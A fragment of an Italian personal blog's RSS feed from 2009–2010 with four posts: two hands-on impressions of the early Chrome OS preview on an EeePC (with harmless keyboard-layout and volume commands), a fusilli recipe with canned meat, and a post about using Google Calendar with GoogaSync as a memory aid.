		<pubDate>Tue, 02 Feb 2010 23:56:34 +0000</pubDate>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[aggiornamento]]></category>
		<category><![CDATA[asus]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[chromeOS]]></category>
		<category><![CDATA[connessioni]]></category>
		<category><![CDATA[eeepc]]></category>
		<category><![CDATA[google]]></category>
		<guid isPermaLink="false">http://www.unpirlaqualsiasi.it/?p=1520</guid>

					<description><![CDATA[Dopo un mesetto dal primo post su Chrome OS mi sembra il caso di scrivere qualcosa di nuovo, correggendo le primissime impressioni. Innanzitutto ho &#8220;scoperto&#8221; il modo per impostare il layout di tastiera, cosa che mi aveva fatto accantonare completamente il SO di Google. Il procedimento è semplice: premere ctrl-alt-t per aprire una sessione terminal [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Dopo un mesetto dal <a title="Google Chrome OS - unpirlaqualsiasi" href="http://www.unpirlaqualsiasi.it/2009/12/10/google-crom-os/">primo post</a> su Chrome OS mi sembra il caso di scrivere qualcosa di nuovo, correggendo le primissime impressioni.</p>
<p>Innanzitutto ho &#8220;scoperto&#8221; il modo per impostare il layout di tastiera, cosa che mi aveva fatto accantonare completamente il SO di Google.</p>
<p>Il procedimento è semplice: premere <strong>ctrl-alt-t</strong> per aprire una sessione terminal e digitare</p>
<p><code>$ setxkbmap it</code> (it indica il layout italiano)</p>
<p>Appena fatto ciò, la tastiera risponderà come indicato sui tasti.</p>
<p>La seconda cosa da fare è aumentare il volume degli altoparlanti, impostato basso di default.</p>
<p>Aprire una finestra terminal e digitare:</p>
<p><code>$ alsamixer</code></p>
<p>Si aprirà una finestra di controllo per tutti i livelli audio e si potranno modificare usando i tasti freccia.</p>
<p>Per avere una mappa a schermo delle scorciatoie da tastiera, basta premere <strong>F8</strong>.</p>
<p>Altri tricks si trovano <a title="Tips &amp; tricks" href="http://chromeos.hexxeh.net/wiki/doku.php?id=tips_tricks">qui</a>.</p>
<p>Nell&#8217;<a title="Google Chrome OS - unpirlaqualsiasi" href="http://www.unpirlaqualsiasi.it/2009/12/10/google-crom-os/">altro post</a> scrivevo anche che non è possibile gestire i file all&#8217;interno del PC e non c&#8217;è accesso diretto ai dischi. Non è vero. Usando la sequenza di tasti <strong>ctrl-o </strong>è possibile aprire il file browser e navigare all&#8217;interno dei dischi fissi o delle partizioni della chiavetta. È quindi possibile salvare file nella posizione desiderata mentre si naviga.</p>
<p>Tra le cose negative posso ancora segnalare che:</p>
<p>Chrome OS non si connette a reti WiFi protette con <a title="Wi-Fi Protected Access" href="http://it.wikipedia.org/wiki/Wi-Fi_Protected_Access">WPA2</a>, nonostante venga riconosciuto il tipo di protezione e venga offerta la possibilità di inserire la <em>passphrase</em>;<br />
che avere la propria GMail sempre aperta non è proprio il massimo della sicurezza;<br />
che manca ancora il supporto per la stampa, dovesse mai servire.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fusilli con la carne in scatola</title>
		<link>http://www.unpirlaqualsiasi.it/2010/01/18/fusilli-con-la-carne-in-scatola/</link>
					<comments>http://www.unpirlaqualsiasi.it/2010/01/18/fusilli-con-la-carne-in-scatola/#comments</comments>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Mon, 18 Jan 2010 20:29:46 +0000</pubDate>
				<category><![CDATA[un pirla in cucina]]></category>
		<category><![CDATA[carne in scatola]]></category>
		<category><![CDATA[cucina]]></category>
		<category><![CDATA[pasta]]></category>
		<category><![CDATA[primi piatti]]></category>
		<guid isPermaLink="false">http://www.unpirlaqualsiasi.it/?p=1516</guid>

					<description><![CDATA[Ovvero come fare un piatto ottimo con una roba che altrimenti brrr&#8230; Ingredienti &#8211; fusilli (( io preferisco pasta corta con condimenti a pezzi, quindi ho scelto i fusilli)) &#8211; una scatoletta di carne in scatola ((di marca a scelta, ma con tanta gelatina, non quelle pressate tipo Montana)) &#8211; una cipolla piccola &#8211; pepe [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Ovvero come fare un piatto ottimo con una roba che altrimenti brrr&#8230;</p>
<p><strong>Ingredienti</strong></p>
<p>&#8211; fusilli (( io preferisco pasta corta con condimenti a pezzi, quindi ho scelto i fusilli))<br />
&#8211; una scatoletta di carne in scatola ((di marca a scelta, ma con tanta gelatina, non quelle pressate tipo Montana))<br />
&#8211; una cipolla piccola<br />
&#8211; pepe<br />
&#8211; sale, se necessario</p>
<p><strong>Preparazione</strong></p>
<p>Mentre cuoce la pasta, fate scaldare in una padella antiaderente l&#8217;intero contenuto della scatoletta (carne + gelatina). La gelatina scioglierà in un attimo e si trasformerà in brodo. A questo punto mettere in padella la cipolla tritata e far cuocere qualche minuto, finché il brodo non si asciuga un po&#8217; e la carne è ben separata.<br />
Ora non resta che scolare la pasta ((tenendo un cucchiaio dell&#8217;acqua di cottura se si fosse asciugata troppo la salsa)) e condirla con la carne. Una macinata di pepe, parmigiano e via.</p>
<p>Una variante che implementerò la prossima volta è l&#8217;aggiunta di un pizzico di zafferano. Non so perché, ma ce lo vedo bene&#8230;</p>
<p><em>Piccola spiegazione non richiesta: la cipolla la aggiungo dopo, anziché fare il soffritto, perché la carne è già saporita di suo e così evito di aggiungere condimenti non necessari. Inoltre preferisco la cipolla cotta ma non soffritta.</em></p>
]]></content:encoded>
					
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			</item>
		<item>
		<title>Google Chrome OS</title>
		<link>http://www.unpirlaqualsiasi.it/2009/12/10/google-crom-os/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Thu, 10 Dec 2009 20:53:37 +0000</pubDate>
				<category><![CDATA[tecnocazzate]]></category>
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					<description><![CDATA[Qualche settimana fa Google ha presentato Chrome OS, il nuovo sistema operativo web-based &#8220;che farà parlare di sè&#8221;, e oggi io l&#8217;ho provato nella sua versione &#8220;portata&#8221; su chiavetta USB. Innanzitutto, per evitare fraintendimenti con gli eventuali fanboy di Chrome OS, devo precisare alcune cose: non amo le cose spartane: questa non è Sparta (semi [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Qualche settimana fa Google ha presentato Chrome OS, il nuovo sistema operativo web-based &#8220;che farà parlare di sè&#8221;, e oggi io l&#8217;ho provato nella sua versione &#8220;portata&#8221; su chiavetta USB.</p>
<p>Innanzitutto, per evitare fraintendimenti con gli eventuali fanboy di Chrome OS, devo precisare alcune cose:</p>
<ul>
<li>non amo le cose spartane: questa non è Sparta (semi cit.)</li>
<li>non mi piace Chrome (il browser)</li>
<li>mi piacciono le cose complete, tamarre e sbarluccicanti</li>
<li>non uso web apps</li>
</ul>
<p>Ciò prescisato, andiamo avanti.</p>
<p>Come detto ho aspettato un po&#8217; prima di provare Chrome OS, perché appena uscito era possibile provarlo solo usando una virtual machine, cosa che non avevo intenzione di fare. Da poco qualcuno (non so chi, quindi no credits) ha trovato il modo di copiare l&#8217;immagine di Chrome OS su chiavetta (meglio se da 4 giga) e renderla avviabile, ela cosa si è fatta decisamente più interessante.</p>
<p>L&#8217;installazione è semplice: non c&#8217;è. Basta scaricare l&#8217;immagine via torrent e con il programmino incluso copiarla sulla chiavetta. Quindi insrire la chiavetta e, se il BIOS è impostato per avviare il PC via USB, avviare il PC.</p>
<p>Il sistema si avvia in 3 secondi e presenta una schermata azzurra (non la BSOD di Windows <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) in cui fare il login con user e password del proprio account Google (per ora si usano credenziali &#8220;farlocche&#8221; perché è una preview), quindi si accede automaticamente a GMail e Google Calendar in un&#8217;interfaccia simile a Chrome (il browser).</p>
<p>In alto a destra ci sono tre icone: batteria, connessioni, impostazioni di sistema (che poi è lo stesso menu delle impostazioni del browser con un scheda in più.</p>
<p>A sinistra, invece, c&#8217;è un pulsantone a forma di logo di Chrome, e premendolo le schede aperte scivolano via e appare una pagina con i link ai principali servizi/social network/web app.</p>
<p>Questo è tutto.</p>
<p>C&#8217;è da ricordare che oltre al browser non c&#8217;è nulla e non si ha accesso diretto ai file del PC.</p>
<p><span style="font-weight: bold;">Veniamo alla mia prova</span></p>
<p>Io l&#8217;ho provato su un ASUS EeePC usando l&#8217;immagine scaricata da Torrent e &#8220;masterizzata&#8221; su una chiavetta da 4 giga appena comprata all&#8217;uopo.</p>
<p>Come promesso l&#8217;avvio è velocissimo, le credenziali iniziali sono state riconosciute e si è aperto il browser, ma senza connettermi, perché non ha avviato le connessioni WiFi automaticamente (ovviamente, essendocene tre ed essendo il primo avvio).</p>
<p>Qui il primo problema: la mia WiFi è protetta, e la password non viene riconosciuta. Poco male, provo con FON.</p>
<p>Con FON si connette e tutto si muove. Mail, Calendar, Friendfeed, Facebook.</p>
<p>Però, scrivendo, sorge il secondo problema (che poi è quello che generava il primo): la tastiera ha il layout americano e non c&#8217;è modo di cambiarlo. Ovvio che una password asteriscata non possa essere scritta giusta, in questo modo.</p>
<p>Comunque anche togliendo la protezione alla rete, il sistema non si collega a quella WiFi. Misteri.</p>
<p>Penso ad un riavvio, ma lì mi blocco.</p>
<p>Mezz&#8217;ora per trovare il menu spegni/riavvia, quindi gùgolo un po&#8217;  e scopro che non esiste tale menu: per spegnere il PC basta premere il pulsante ON/OFF. Due secondi e il sistema si arresta totalmente.</p>
<p><span style="font-weight: bold;">Giudizio personale</span></p>
<p>Non do giudizi, essendo più ancora che in beta (però essendo pubblica, qualcosa gli si può dire, no?), ma dico che è quello che mi aspettavo.</p>
<p>È un browser che governa un PC, e mi fa paura. Mi fa paura l&#8217;idea che il futuro sarà solo web apps, tutto online, sempre connesso. Mi fa paura non poter mettere le mani sui dischi fissi, non poter salvare qualcosa in locale o stampare. E quando la connessione non c&#8217;è? Mah.</p>
<p>Comunque l&#8217;idea è interessante, ed estende sicuramente il concetto di netbook, di velocità e di connettività.</p>
<p>Tutto starà nel vedere la compatibilità con le chiavette internet e come sarà veramente il SO quando avrà raggiunto la necessaria maturità.</p>
<p>Per ora è una preview di un giochino interessante, nonostante la paura <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Google Calendar e GoogaSync: la cura definitiva per l&#8217;amnesia (o almeno ci si prova)</title>
		<link>http://www.unpirlaqualsiasi.it/2009/10/23/google-calendar-e-googasync-la-cura-definitiva-per-lamnesia-o-almeno-ci-si-prova/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Fri, 23 Oct 2009 21:47:57 +0000</pubDate>
				<category><![CDATA[about me]]></category>
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		<category><![CDATA[memoria]]></category>
		<category><![CDATA[scadenze]]></category>
		<category><![CDATA[sincronizzazione]]></category>
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					<description><![CDATA[Come ben sanno quelli che mi conoscono, la mia memoria a breve termine lascia parecchio a desiderare. Ma proprio che dimentico le cose da un secondo all&#8217;altro. Non posso cancellare un messaggio di appuntamento appena letto, perché subito dopo ho dei fortissimi dubbi sull&#8217;ora. Cose pesanti, insomma. E in attesa che esca Degra 2.0 (attualmente [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Come ben sanno quelli che mi conoscono, la mia memoria a breve termine lascia parecchio a desiderare. Ma proprio che dimentico le cose da un secondo all&#8217;altro. Non posso cancellare un messaggio di appuntamento appena letto, perché subito dopo ho dei fortissimi dubbi sull&#8217;ora. Cose pesanti, insomma. E in attesa che esca Degra 2.0 (attualmente è in beta privata) con un po&#8217; più di RAM, mi tocca arrangiarmi come posso.</p>
<p>Ho provato a scrivermi le cose, ma poi devo ricordarmi di leggerle. Sembra una stupidaggine, ma invece è una cosa seria. Ho provato con i programmini per i post-it sul PC, ma se il PC è spento e/o io non sono a casa? Ho provato ad usare l&#8217;agenda del cellulare, ma è troppo laborioso per i miei gusti. Ho provato ad usare l&#8217;agenda (adoro le agende: il rito di intestarle, il profumo di stampa fresca e finta pella), ma non so mai cosa scriverci e finisce che la lascio lì come al solito.</p>
<p>Finalmente l&#8217;illuminazione: grazie a discorsi che giravano su FriendFeed ho scoperto l&#8217;esistenza di <a href="http://www.google.com/calendar">Google Calendar</a>.</p>
<p>Sì, al solito scopro l&#8217;acqua calda quando agli altri si è già raffreddata da tempo, ma cosa ci volete fare?</p>
<p>Comunque si tratta di un&#8217;agenda online su cui segnare i propri appuntamenti, con la possibilità di condividerli con amici, parenti e conoscenti. Non solo: ha la possibilità di inviare promemoria via mail e via SMS a scadenze predefinite, proprio per i pirla come me che si dimenticano tutto.</p>
<p>Fin qui è comodo, ma è come un&#8217;agenda cartacea: se non ce l&#8217;hai nelle vicinanze, non ti serve a niente.</p>
<p>E allora diciamo che non è finita qui: accorre in nostro aiuto <a href="http://www.googasync.com">GoogaSync</a>.</p>
<p>Il simpatico programmino (disponibile per la NON modica cifra di 19 euro) per cellulari Symbian fa una cosa molto utile: sincronizza l&#8217;agenda del cellulare con <a href="http://www.google.com/calendar">Google Calendar</a> e viceversa, rendendo utili entrambi. Per dovere di croncaca, devo dire che ci sono altre applicazioni Symbian e J2ME per sincronizzare le agende, ma solo <a href="http://www.googasync.com">GoogaSync</a> mi ha convinto del tutto.</p>
<p>Spero soltanto che tutto ciò sia terapeutico e, con l&#8217;andar del tempo, riesca a ricordarmi delle scadenze senza dover ricevere ogni volta 3-4 SMS da <a href="http://www.google.com/calendar">Google Calendar</a>.</p>
]]></content:encoded>
					
		
		
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